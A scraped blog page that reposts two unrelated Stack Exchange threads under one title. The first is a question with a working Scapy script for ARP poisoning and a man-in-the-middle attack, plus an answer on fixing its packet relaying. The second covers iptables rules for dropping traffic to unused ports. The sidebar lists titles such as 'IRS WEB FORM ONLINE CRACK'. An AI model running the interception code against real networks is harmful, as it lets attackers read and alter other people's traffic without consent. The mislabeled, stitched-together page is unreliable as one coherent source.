How to set iptables to drop packets that I'm not listening on?

Question

I'm trying to do a man in the middle attack with scapy on a test network. My setup is like this:

Now that you get the idea, here's the code:

from scapy.all import *
import multiprocessing
import time
class MITM:
  packets=[]
  def __init__(self,victim=("192.168.116.143","00:0c:29:d1:aa:71" ),node2=("192.168.116.1", "00:50:56:c0:00:08")):
    self.victim=victim
    self.node2=node2
    multiprocessing.Process(target=self.arp_poison).start()
    try:
      sniff(filter='((dst %s) and (src %s)) or ( (dst %s) and (src %s))'%(self.node2[0], self.victim[0],self.victim[0],self.node2[0]),prn=lambda x:self.routep(x))
    except KeyboardInterrupt as e:
      wireshark(packets)
    #self.arp_poison()
  def routep(self,packet):
    if packet.haslayer(IP):
      packet.show()
      if packet[IP].dst==self.victim[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.victim[1]
      elif packet[IP].dst==self.node2[0]:
        packet[Ether].src=packet[Ether].dst
        packet[Ether].dst=self.node2[1]
      self.packets.append(packet)
      packet.display()
      send(packet)
      print len(self.packets)
      if len(self.packets)==10:
        wireshark(self.packets)
  def arp_poison(self):
    a=ARP()
    a.psrc=self.victim[0]
    a.pdst=self.node2[0]
    b=ARP()
    b.psrc=self.node2[0]
    b.pdst=self.victim[0]
    cond=True
    while cond:
      send(b)
      send(a)
      time.sleep(5)
      #cond=False
if __name__=="__main__":
  mitm=MITM()

This code is running on the VM2.

Arp poisoning works fine, I check the arp caches of both the machines and the behavior is as I expected. But inside routep, I modify the src and dst mac address and try to send the received packet to appropriate host, scapy gives a warning:

WARNING: more Mac address to reach destination not found. Using broadcast

And I see in the wireshark on VM2, the modified packets are not leaving the machine. Why would that be the case? Am I missing something?

Could it be that you have to explicitly tell scapy that you want to send and receive frames including MAC layer? — qarma, Sep 30 '12 at 16:33
I think you're over complicating it. You only need to send forged arp replies to the subnet and enable ip forwarding on your machine. secdev.org/projects/scapy/doc/usage.html#arp-cache-poisoning — tMC, Oct 1 '12 at 17:03

score 1 · Answer 1

If you use scapy's send(), it works on the third layer. From scapy's documentation:

The send() function will send packets at layer 3. That is to say it will handle routing and layer 2 for you. The sendp() function will work at layer 2.

If you were to use sendp(), it won't use the default values for the destination's Mac address and your warning'll be gone.

http://stackoverflow.com/questions/12659553/man-in-the-middle-attack-with-scapy

**munkeyoto** · Answer 2 · 2014-05-19 14:15:53Z

If never seen this done without a script, so here is a baseline script for you to accomplish this:

checkht="lsof -c httpd | awk '{print $1}' | uniq | grep h"

if [ -n "$checkht" ]; then

    echo "webserver is running let me shut down uptables rules blocking HTTP"
    iptables -vnL --line-numbers |awk '/tcp dpt:80/{print "iptables -D INPUT "$1}' | sh

else

   iptables -A INPUT -s 0.0.0.0/0 -p tcp --dport 80 -j DROP

fi

Checks to see if http is running, if it is, it makes sure that IPTABLES has no rule blocking HTTP. If it's not running, it blocks the world from reaching that port. However, because you're not listening on the port, the rule to block makes little sense. There is nothing for anyone to attack since nothing is running.

Thanks. It is possible to detect whether there is anything listening because of the RST reply - that's why it makes sense to drop it. — SilverlightFox, May 19 '14 at 14:17
Understood, I usually have a drop all rule as my last rule, so no resets are sent. — munkeyoto, May 19 '14 at 14:37
Do you have to remove that rule if you start services listening? — SilverlightFox, May 19 '14 at 14:39
You can run it via cron to check like N amount of minutes, or... You can likely make your own apachectl like start file to run it in the background. Depends on your machine. You can run it from cron to check like every minute or so, or like I said, edit apachectl, so when you shut off HTTP, it does its checks and balances — munkeyoto, May 19 '14 at 15:01

**lorenzog** · Answer 3 · 2014-05-19 15:29:58Z

The short answer is: no by design, and here's an example of what would need to happen if it was possible:

netcat opens socket on port X by calling the relative syscall (such as listen)
kernel traps syscall, executes network code (in this case, opens port)
kernel talks to the relative iptables module (assuming it's available and loaded) and opens a hole in the firewall to let traffic go to the newly opened port.

This would open up a potential security hole: how would the kernel know that the program is legitimate, i.e. is not a trojan that wants to open a remote shell? Here are a few answers:

Because the program is whitelisted somewhere; but this would shift the security into another set of issues:
- how do you know that the program hasn't been compromised? You could use something like tripwire, but this opens up another security question: how can you guarantee that the master list is not compromised?
- how do you deal with updates? E.g. version Z of ssh can punch holes through the firewall; your system self-updates, now the hash of ssh changed, and you are locked out.
Because the user launching it belongs to a privileged group: how do you deal with SUID binaries? Take a look at the ping program permissions for example.

Another can of worms^W^W^W set of potential issues would be the interface between iptables (at kernel level) and the syscalls; every minor change in iptables would require a potential rewrite of the code underlying the syscalls, introducing bugs, etc.

In a nutshell, you are describing the problem that application firewalls face (think about Windows or Mac firewalls). It's do-able, but it's not simple.

At a networking level you might want to take a look at UPnP whose function was to allow services to punch holes through a gateway's firewall. With the obvious security consequences.

Or you could use a script instead :)

score 0 · Answer 4

you could write a simple bash script that parses out netcat output and builds a new iptables ruleset accordingly every time its running.

You probably have to make sure that you allow connections first before you set the drop all rule else you would reset all running connections each time the script runs.

Then you could set a cronjob that will run your script every minute.

As lorenzog pointed out this might not be the most secure setup, on the other hand if you have no iptables running by default then this is probably better than nothing.

Also you could set a range of port as a whitelist and ignore all other ports that netstat spits out...

As this is about your Kali box (VM?) it should only be running for specific tasks anyways. Kali is not meant to be used as a default client/server operating system for daily tasks. So I would let you get a away with this kind of dynamic firewall setup ;)

BLACK MASK

Sunday, April 2, 2017

Man in the middle attack with scapy

1 Answer

Saturday, April 1, 2017

IRS WEB FORM ONLINE CRACK

Friday, March 31, 2017

BEFORE BREAKING THE FIREWALL DEFENSE

How to set iptables to drop packets that I'm not listening on?

3 Answers

EchoEra Coorporation Supremacy ( drones vessels ocean navigation surveillance)

Total Pageviews

Search Webcams:
by www.online-camera.de